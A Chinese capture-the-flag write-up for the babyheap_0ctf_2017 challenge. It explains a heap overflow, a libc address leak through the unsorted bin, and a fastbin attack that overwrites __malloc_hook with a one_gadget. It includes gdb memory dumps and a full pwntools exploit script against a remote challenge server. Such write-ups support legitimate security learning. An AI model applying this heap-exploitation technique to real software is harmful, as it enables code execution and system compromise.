babyheap_0ctf_2017 堆技巧 fastbin-attack

目录

• 常规检查
• 逆向分析
  • Allocate 函数
  • Fill 函数
  • Free 函数
  • Dump 函数
• 利用思路
• 利用过程
• get flag
• exp 脚本
• 内容来源

常规检查

逆向分析

  程序有四个功能

• Allocate：分配内存大小并给出 index
• Fill：输入 index ，并分配内存进行内容写入操作
• Free：输入 index ，释放相应的内存空间
• Dump：输入 index ，打印内容

Allocate 函数

• 分配的大小不能超过 4096 字节
• *(24LL * i + a1)：置 1 表示 chunk 已经创建
• *(a1 + 24LL * i + 8)：存储 chunk 的大小
• *(a1 + 24LL * i + 16)：存储 chunk 的地址

Fill 函数

• 先判断对应位是否为 1 ，即 chunk 是否存在
• 如果存在把输入的内容写入 *(24LL * v2 + a1 + 16) 对应的地址中。
• 同时这里没有对 v3 的大小做限制，存在堆溢出

Free 函数

• 先判断对应位是否为 1 ，即 chunk 是否存在
• 如果存在
  • 把对应位 *(24LL * v2 + a1) 置 0 ，表示 chunk 销毁
  • 记录 chunk 大小的 *(24LL * v2 + a1 + 8) 置 0
  • 释放指针 *(24LL * v2 + a1 + 16) 对应的内存，即输入内容的那部分

Dump 函数

• 先判断对应位是否为 1 ，即 chunk 是否存在
• 如果存在，打印长度为 *(24LL * v2 + a1 + 8) 存储字节数内容指针 *(24LL * v2 + a1 + 16) 指向的内容

利用思路

  两次 double free 与 fastbin attack 。第一次先泄露 libc 地址，然后找到构造 fack chunk 的地址。第二次通过构造的 fack chunk 堆溢出覆写 __malloc_hook 完成 get shell 。

利用过程

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(1)
free(2)

  由于 fastbin 是 LIFO ，切是单向链表链接的（依赖 fd 指针链接下一个 fastbin），所以我们 free 完之后 heap 情况如下

可以发现 index 为 2 的 chunk 的 fd 指针指向 index 为 1 的 chunk 。

payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

  把 chunk 2 的内容覆盖为 chunk 4 的地址，这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin 中。

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)

  此时 heap 如下

gdb-peda$ x /40xg 0x55a64a9e8000 3
0x55a64a9e8000:	0x0000000000000000	0x0000000000000021  chunk 0 
0x55a64a9e8010:	0x0000000000000000	0x0000000000000000
0x55a64a9e8020:	0x0000000000000000	0x0000000000000021  chunk 1
0x55a64a9e8030:	0x0000000000000000	0x0000000000000000
0x55a64a9e8040:	0x0000000000000000	0x0000000000000021  chunk 2
0x55a64a9e8050:	0x000055a64a9e8080	0x0000000000000000
0x55a64a9e8060:	0x0000000000000000	0x0000000000000021  chunk 3
0x55a64a9e8070:	0x0000000000000000	0x0000000000000000
0x55a64a9e8080:	0x0000000000000000	0x0000000000000021  chunk 4
0x55a64a9e8090:	0x0000000000000000	0x0000000000000000
0x55a64a9e80a0:	0x0000000000000000	0x0000000000000000
0x55a64a9e80b0:	0x0000000000000000	0x0000000000000000
0x55a64a9e80c0:	0x0000000000000000	0x0000000000000000
0x55a64a9e80d0:	0x0000000000000000	0x0000000000000000
0x55a64a9e80e0:	0x0000000000000000	0x0000000000000000
0x55a64a9e80f0:	0x0000000000000000	0x0000000000000000
0x55a64a9e8100:	0x0000000000000000	0x0000000000000000
0x55a64a9e8110:	0x0000000000000000	0x0000000000020ef1
0x55a64a9e8120:	0x0000000000000000	0x0000000000000000
0x55a64a9e8130:	0x0000000000000000	0x0000000000000000

  我们等下要 malloc 回 chunk 4 ，可是 malloc fastbin 有检查， chunksize 必须与相应的 fastbin_index 匹配，所以我们覆盖 chunk 4 的 size 为 fastbin 大小

allocate(0x10)
allocate(0x10)
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

  unsortbin 有一个特性，就是如果 usortbin 只有一个 bin ，它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部），这个地址为 main_arena + 0x58 ，而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ，所以得到这个fd的值，然后减去0x58再减去main_arena相对于libc的固定偏移，即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小，这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。
  我们的目标是覆盖 __malloc_hook 函数，这样我们调用 malloc 时就相当于调用我们写入的内容

gdb-peda$ x/32xw (long long)(&main_arena)-0x40
0x7f2a8a09eae0 <_IO_wide_data_0+288>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eaf0 <_IO_wide_data_0+304>:	0x8a09d260	0x00007f2a	0x00000000	0x00000000
0x7f2a8a09eb00 <__memalign_hook>:	0x89d5fe20	0x00007f2a	0x89d5fa00	0x00007f2a
0x7f2a8a09eb10 <__malloc_hook>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb20 <main_arena>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb30 <main_arena+16>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb40 <main_arena+32>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb50 <main_arena+48>:	0x00000000	0x00000000	0x00000000	0x00000000

   malloc 时还需要再次绕过检测，我 malloc(0x60) 也就是 0x70 大小的 chunk

gdb-peda$ x/32xw (long long)(&main_arena)-0x40+0xd
0x7f2a8a09eaed <_IO_wide_data_0+301>:	0x60000000	0x2a8a09d2	0x0000007f	0x00000000
0x7f2a8a09eafd:	0x20000000	0x2a89d5fe	0x0000007f	0x2a89d5fa
0x7f2a8a09eb0d <__realloc_hook+5>:	0x0000007f	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb1d:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb2d <main_arena+13>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb3d <main_arena+29>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb4d <main_arena+45>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb5d <main_arena+61>:	0x00000000	0x00000000	0x00000000	0x00000000

  可以发现在 0x7f2a8a09eaed 处构造块可以绕过检测（因为 7f 满足 0x70 大小），可以计算 0x7f2a8a09eaed 距离 libc 基址的偏移为 0x3c4aed

allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

  首先把 chunk 4 malloc 回来，这次 malloc 的大小在 fastbin 之内，然后把 chunk 4 的内容改为我们下一个要构造块的地址（chunk 4 已经被 free 掉，所以无法用 fill(4) 写入，由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址，所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1，第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2，也就是说 index 2 与 index 4 的内容都是 chunk 4）

allocate(0x60)
allocate(0x60)
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
allocate(200)

  在 __malloc_hook 地址处写入 one_gadget ，这样再次 allocate 就可以调用 one_gadget 拿 shell

get flag

exp 脚本

from pwn_debug import *

pdbg = pwn_debug('babyheap_0ctf_2017')
pdbg.remote('node3.buuoj.cn',26076)
p = pdbg.run('remote')

def allocate(size):
	p.recvuntil('Command: ')
	p.sendline('1')
	p.recvuntil('Size: ')
	p.sendline(str(size))

def fill(idx,content):
	p.recvuntil('Command: ')
	p.sendline('2')
	p.recvuntil('Index: ')
	p.sendline(str(idx))
	p.recvuntil('Size: ')
	p.sendline(str(len(content)))
	p.recvuntil('Content: ')
	p.send(content)

def free(idx):
	p.recvuntil('Command: ')
	p.sendline('3')
	p.recvuntil('Index: ')
	p.sendline(str(idx))

def dump(idx):
	p.recvuntil('Command: ')
	p.sendline('4')
	p.recvuntil('Index: ')
	p.sendline(str(idx))
	p.recvline()
	return p.recvline()

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(1)
free(2)

#gdb.attach(p)

payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

#gdb.attach(p)

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)

#gdb.attach(p)

allocate(0x10)
allocate(0x10)
fill(1,'aaaa')
fill(2,'bbbb')
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

allocate(0x60)
allocate(0x60)
 
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)

#gdb.attach(p)

allocate(255)

p.interactive()

内容来源

0ctf2017 - babyheap